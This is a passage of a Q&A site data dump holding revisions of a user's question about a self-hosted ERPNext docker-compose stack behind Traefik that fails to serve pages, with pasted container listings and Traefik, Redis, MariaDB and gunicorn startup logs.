{\&quot;http\&quot;:{\&quot;routers\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;entryPoints\&quot;:[\&quot;websecure\&quot;],\&quot;service\&quot;:\&quot;erpnext-nginx\&quot;,\&quot;rule\&quot;:\&quot;Host(`erp.saundersconsulting.tech)\&quot;,\&quot;tls\&quot;:{\&quot;certResolver\&quot;:\&quot;myresolver\&quot;}},\&quot;http-catchall\&quot;:{\&quot;entryPoints\&quot;:[\&quot;web\&quot;],\&quot;middlewares\&quot;:[\&quot;redirect-to-https\&quot;],\&quot;service\&quot;:\&quot;traefik-frappe-docker\&quot;,\&quot;rule\&quot;:\&quot;hostregexp(`{host:.+}`)\&quot;}},\&quot;services\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.4:80\&quot;}],\&quot;passHostHeader\&quot;:true}},\&quot;traefik-frappe-docker\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.14:80\&quot;}],\&quot;passHostHeader\&quot;:true}}},\&quot;middlewares\&quot;:{\&quot;redirect-to-https\&quot;:{\&quot;redirectScheme\&quot;:{\&quot;scheme\&quot;:\&quot;https\&quot;}}}},\&quot;tcp\&quot;:{},\&quot;udp\&quot;:{}}&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=info msg=&quot;Skipping same configuration&quot; providerName=docker&#xD;&#xA;    erpnext-nginx_1           | Waiting for frappe-python to be available on erpnext-python port 8000&#xD;&#xA;    erpnext-nginx_1           | Frappe-python available on erpnext-python port 8000&#xD;&#xA;    erpnext-nginx_1           | Waiting for frappe-socketio to be available on frappe-socketio port 9000&#xD;&#xA;    erpnext-nginx_1           | Frappe-socketio available on frappe-socketio port 9000&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.055 * 100 changes in 300 seconds. Saving...&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.056 * Background saving started by pid 18&#xD;&#xA;    redis-cache_1             | 18:C 24 Sep 2020 21:47:21.107 * DB saved on disk&#xD;&#xA;    redis-cache_1             | 18:C 24 Sep 2020 21:47:21.108 * RDB: 0 MB of memory used by copy-on-write&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.156 * Background saving terminated with success&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:09Z&quot; level=debug msg=&quot;Serving default certificate for request: \&quot;localhost\&quot;&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:09Z&quot; level=debug msg=&quot;http: TLS handshake error from 172.20.0.1:40102: remote error: tls: bad certificate&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:14Z&quot; level=debug msg=&quot;Serving default certificate for request: \&quot;localhost\&quot;&quot;&#xD;&#xA;         &#xD;&#xA;&#xD;&#xA;Looking at the below `entrypoint`:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS              PORTS                                      NAMES&#xD;&#xA;    547893b78496        frappe/frappe-socketio:edge   &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes                                                  frappe_docker_frappe-socketio_1&#xD;&#xA;    d7c672c3b8e4        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-long_1&#xD;&#xA;    16916a30304b        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-schedule_1&#xD;&#xA;    f18a505e3d01        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-default_1&#xD;&#xA;    7da607a8d5a8        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-short_1&#xD;&#xA;    70879517dbbf        mariadb:10.3                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       3306/tcp                                   frappe_docker_mariadb_1&#xD;&#xA;    e1b06e870f32        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-socketio_1&#xD;&#xA;    b8ef2a1cd685        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-python_1&#xD;&#xA;    d6555ff0f12f        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   11 minutes ago      Up 7 minutes        0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp   frappe_docker_traefik_1&#xD;&#xA;    d7cbac8c826b        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-cache_1&#xD;&#xA;    55b3a31ee25c        frappe/erpnext-nginx:edge     &quot;/docker-entrypoint.…&quot;   11 minutes ago      Up 7 minutes        80/tcp                                     frappe_docker_erpnext-nginx_1&#xD;&#xA;    4d6c6ed96e2a        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-queue_1&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;I tried a few of those ports, best result was a `404` from `localhost` on Firefox which I *think* was from this unconfigured app.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38356" PostHistoryTypeId="5" PostId="12489" RevisionGUID="2bc73bd1-3cc8-49c4-b121-d5f00451fc47" CreationDate="2020-09-24T22:06:54.947" UserId="23443" Comment="edited body" Text="thought it was working because `docker-compose build` returned without errors.&#xD;&#xA;&#xD;&#xA;I've tried a few URL's, but can't quite tell what happened:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker-compose up&#xD;&#xA;    Starting frappe_docker_erpnext-nginx_1 ... &#xD;&#xA;    frappe_docker_mariadb_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-cache_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_traefik_1       ... &#xD;&#xA;    frappe_docker_erpnext-python_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_redis-queue_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_site-creator_1  ... &#xD;&#xA;    frappe_docker_frappe-socketio_1 is up-to-date&#xD;&#xA;    frappe_docker_erpnext-schedule_1 is up-to-date&#xD;&#xA;    Starting frappe_docker_erpnext-nginx_1 ... done&#xD;&#xA;    Starting frappe_docker_traefik_1       ... done&#xD;&#xA;    Starting frappe_docker_site-creator_1  ... done&#xD;&#xA;    Attaching to frappe_docker_mariadb_1, frappe_docker_redis-cache_1, frappe_docker_erpnext-python_1, frappe_docker_redis-socketio_1, frappe_docker_redis-queue_1, frappe_docker_frappe-socketio_1, frappe_docker_erpnext-schedule_1, frappe_docker_erpnext-worker-default_1, frappe_docker_erpnext-worker-short_1, frappe_docker_erpnext-worker-long_1, frappe_docker_site-creator_1, frappe_docker_erpnext-nginx_1, frappe_docker_traefik_1&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 2 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 3 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 4 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 5 to connect to mariadb:3306&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-python_1          | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-python_1          | Connections OK&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Starting gunicorn 19.10.0&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Listening at: http://0.0.0.0:8000 (20)&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [20] [INFO] Using worker: gthread&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [23] [INFO] Booting worker with pid: 23&#xD;&#xA;    erpnext-python_1          | [2020-09-24 21:42:51 +0000] [24] [INFO] Booting worker with pid: 24&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-schedule_1        | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-schedule_1        | Connections OK&#xD;&#xA;    erpnext-schedule_1        | Starting background scheduler . . .&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-long_1     | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-long_1     | Connections OK&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 Worker rq:worker:9e230e83f0a54f2c9e23cf8c05803a5b.d7c672c3b8e4.13.long: started, version 1.5.2&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 *** Listening on long...&#xD;&#xA;    erpnext-worker-long_1     | 21:42:50 Cleaning registries for queue: long&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-short_1    | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-short_1    | Connections OK&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 Worker rq:worker:2b7b866af6af496fa729c4ad20e78978.7da607a8d5a8.13.short: started, version 1.5.2&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 *** Listening on short...&#xD;&#xA;    erpnext-worker-short_1    | 21:42:50 Cleaning registries for queue: short&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-queue_1             | 1:C 24 Sep 2020 21:42:20.656 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.657 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 # Server initialized&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * RDB age 37 seconds&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * RDB memory usage when created 0.83 Mb&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * DB loaded from disk: 0.000 seconds&#xD;&#xA;    redis-queue_1             | 1:M 24 Sep 2020 21:42:20.658 * Ready to accept connections&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:14+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 1:10.3.24+maria~focal started.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:15+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:15+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 1:10.3.24+maria~focal started.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] mysqld (mysqld 10.3.24-MariaDB-1:10.3.24+maria~focal) starting as process 1 ...&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Using Linux native AIO&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Uses event mutexes&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Compressed tables use zlib 1.2.11&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Number of pools: 1&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Using generic crc32 instructions&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Initializing buffer pool, total size = 256M, instances = 1, chunk size = 128M&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: Completed initialization of buffer pool&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:16 0 [Note] InnoDB: If the mysqld execution user is authorized, page cleaner thread priority can be changed. See the man page of setpriority().&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: 128 out of 128 rollback segments are active.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Creating shared tablespace for temporary tables&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Setting file './ibtmp1' size to 12 MB. Physically writing the file full; Please wait ...&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: File './ibtmp1' size is now 12 MB.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: 10.3.24 started; log sequence number 39389994; transaction id 12198&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] InnoDB: Loading buffer pool(s) from /var/lib/mysql/ib_buffer_pool&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:31 0 [Note] Plugin 'FEEDBACK' is disabled.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Server socket created on IP: '::'.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Warning] 'proxies_priv' entry '@% root@ae9b03a0d7ee' ignored in --skip-name-resolve mode.&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Reading of all Master_info entries succeeded&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] Added new Master_info '' to hash table&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:42:32 0 [Note] mysqld: ready for connections.&#xD;&#xA;    mariadb_1                 | Version: '10.3.24-MariaDB-1:10.3.24+maria~focal'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  mariadb.org binary distribution&#xD;&#xA;    mariadb_1                 | 2020-09-24 21:43:04 0 [Note] InnoDB: Buffer pool(s) load completed at 200924 21:43:04&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    erpnext-worker-default_1  | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    erpnext-worker-default_1  | Connections OK&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 Worker rq:worker:1c434d0c9d5d4d61874e73a1eab8cad6.f18a505e3d01.14.default: started, version 1.5.2&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 *** Listening on default...&#xD;&#xA;    erpnext-worker-default_1  | 21:42:50 Cleaning registries for queue: default&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-cache_1             | 1:C 24 Sep 2020 21:42:19.998 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.000 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 # Server initialized&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.266 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * RDB age 37 seconds&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.267 * RDB memory usage when created 1.33 Mb&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.269 * DB loaded from disk: 0.003 seconds&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:42:20.269 * Ready to accept connections&#xD;&#xA;    frappe-socketio_1         | listening on *: 9000&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # Redis version=6.0.8, bits=64, commit=00000000, modified=0, pid=1, just started&#xD;&#xA;    redis-socketio_1          | 1:C 24 Sep 2020 21:42:24.894 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.895 * Increased maximum number of open files to 10032 (it was originally set to 1024).&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Running mode=standalone, port=6379.&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 # Server initialized&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Loading RDB produced by version 6.0.8&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * RDB age 41 seconds&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * RDB memory usage when created 0.79 Mb&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * DB loaded from disk: 0.000 seconds&#xD;&#xA;    redis-socketio_1          | 1:M 24 Sep 2020 21:42:24.896 * Ready to accept connections&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Configuration loaded from flags.&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Traefik version 2.2.11 built on 2020-09-07T14:12:48Z&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Static configuration loaded {\&quot;global\&quot;:{\&quot;checkNewVersion\&quot;:true},\&quot;serversTransport\&quot;:{\&quot;maxIdleConnsPerHost\&quot;:200},\&quot;entryPoints\&quot;:{\&quot;web\&quot;:{\&quot;address\&quot;:\&quot;:80\&quot;,\&quot;transport\&quot;:{\&quot;lifeCycle\&quot;:{\&quot;graceTimeOut\&quot;:10000000000},\&quot;respondingTimeouts\&quot;:{\&quot;idleTimeout\&quot;:180000000000}},\&quot;forwardedHeaders\&quot;:{},\&quot;http\&quot;:{}},\&quot;websecure\&quot;:{\&quot;address\&quot;:\&quot;:443\&quot;,\&quot;transport\&quot;:{\&quot;lifeCycle\&quot;:{\&quot;graceTimeOut\&quot;:10000000000},\&quot;respondingTimeouts\&quot;:{\&quot;idleTimeout\&quot;:180000000000}},\&quot;forwardedHeaders\&quot;:{},\&quot;http\&quot;:{}}},\&quot;providers\&quot;:{\&quot;providersThrottleDuration\&quot;:2000000000,\&quot;docker\&quot;:{\&quot;watch\&quot;:true,\&quot;endpoint\&quot;:\&quot;unix:///var/run/docker.sock\&quot;,\&quot;defaultRule\&quot;:\&quot;Host(`{{ normalize .Name }}`)\&quot;,\&quot;swarmModeRefreshSeconds\&quot;:15000000000}},\&quot;log\&quot;:{\&quot;level\&quot;:\&quot;DEBUG\&quot;,\&quot;format\&quot;:\&quot;common\&quot;},\&quot;certificatesResolvers\&quot;:{\&quot;myresolver\&quot;:{\&quot;acme\&quot;:{\&quot;email\&quot;:\&quot;saunders.nicholas@gmail.com\&quot;,\&quot;caServer\&quot;:\&quot;https://acme-v02.api.letsencrypt.org/directory\&quot;,\&quot;storage\&quot;:\&quot;/letsencrypt/acme.json\&quot;,\&quot;keyType\&quot;:\&quot;RSA4096\&quot;,\&quot;httpChallenge\&quot;:{\&quot;entryPoint\&quot;:\&quot;web\&quot;}}}}}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://docs.traefik.io/contributing/data-collection/\n&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider aggregator.ProviderAggregator {}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Start TCP Server&quot; entryPointName=web&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Start TCP Server&quot; entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *acme.Provider {\&quot;email\&quot;:\&quot;saunders.nicholas@gmail.com\&quot;,\&quot;caServer\&quot;:\&quot;https://acme-v02.api.letsencrypt.org/directory\&quot;,\&quot;storage\&quot;:\&quot;/letsencrypt/acme.json\&quot;,\&quot;keyType\&quot;:\&quot;RSA4096\&quot;,\&quot;httpChallenge\&quot;:{\&quot;entryPoint\&quot;:\&quot;web\&quot;},\&quot;ResolverName\&quot;:\&quot;myresolver\&quot;,\&quot;store\&quot;:{},\&quot;ChallengeStore\&quot;:{}}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Testing certificate renew...&quot; providerName=myresolver.acme&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *docker.Provider {\&quot;watch\&quot;:true,\&quot;endpoint\&quot;:\&quot;unix:///var/run/docker.sock\&quot;,\&quot;defaultRule\&quot;:\&quot;Host(`{{ normalize .Name }}`)\&quot;,\&quot;swarmModeRefreshSeconds\&quot;:15000000000}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider myresolver.acme: {\&quot;http\&quot;:{},\&quot;tls\&quot;:{}}&quot; providerName=myresolver.acme&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=info msg=&quot;Starting provider *traefik.Provider {}&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;No default certificate, generating one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider internal: {\&quot;http\&quot;:{\&quot;services\&quot;:{\&quot;noop\&quot;:{}}},\&quot;tcp\&quot;:{},\&quot;tls\&quot;:{}}&quot; providerName=internal&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Provider connection established with docker 19.03.11 (API 1.40)&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=frappe-socketio-frappe-docker-547893b784969e960c010590b90d256a5844d4eda6bef53402117f25fd6cd835&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-long-frappe-docker-d7c672c3b8e46b1ddbdea4540aaae117852a22cdc04cbddb6a4c9aa5f678849b&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-schedule-frappe-docker-16916a30304b6f542c219ed353f1c924fcd6d9142f4ab17e101eab8adc3b2f4f&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-default-frappe-docker-f18a505e3d01d1fc0741cfdc15ff33d0188e9e4de5852e3c760eb22a066749b9&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-worker-short-frappe-docker-7da607a8d5a81077d1dd500f9ed6888f84cfbcbd7dd2efab11565611a66f2e2a&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=site-creator-frappe-docker-6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=mariadb-frappe-docker-70879517dbbf4ed9c84627f8b312709a56832e423df82715ad0db82c1ed5321b&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-socketio-frappe-docker-e1b06e870f32304b7dcc863a2fef341d0642a929cd721a9220af1c9f845cdf9c&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=erpnext-python-frappe-docker-b8ef2a1cd6858a6a7aa2517928dddffc2dfde713090a6d160847a641288521c6&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-cache-frappe-docker-d7cbac8c826b3c00cb5a699d89d8dd261b6efecdcf75e0e5117459b3a2b1ac57&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Filtering disabled container&quot; providerName=docker container=redis-queue-frappe-docker-4d6c6ed96e2a4da4d7efa21299e6ea9fb74f09bdc466fd878598f5cd288090ad&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:16Z&quot; level=debug msg=&quot;Configuration received from provider docker: {\&quot;http\&quot;:{\&quot;routers\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;entryPoints\&quot;:[\&quot;websecure\&quot;],\&quot;service\&quot;:\&quot;erpnext-nginx\&quot;,\&quot;rule\&quot;:\&quot;Host(`erp.saundersconsulting.tech)\&quot;,\&quot;tls\&quot;:{\&quot;certResolver\&quot;:\&quot;myresolver\&quot;}},\&quot;http-catchall\&quot;:{\&quot;entryPoints\&quot;:[\&quot;web\&quot;],\&quot;middlewares\&quot;:[\&quot;redirect-to-https\&quot;],\&quot;service\&quot;:\&quot;traefik-frappe-docker\&quot;,\&quot;rule\&quot;:\&quot;hostregexp(`{host:.+}`)\&quot;}},\&quot;services\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.4:80\&quot;}],\&quot;passHostHeader\&quot;:true}},\&quot;traefik-frappe-docker\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.14:80\&quot;}],\&quot;passHostHeader\&quot;:true}}},\&quot;middlewares\&quot;:{\&quot;redirect-to-https\&quot;:{\&quot;redirectScheme\&quot;:{\&quot;scheme\&quot;:\&quot;https\&quot;}}}},\&quot;tcp\&quot;:{},\&quot;udp\&quot;:{}}&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;No default certificate, generating 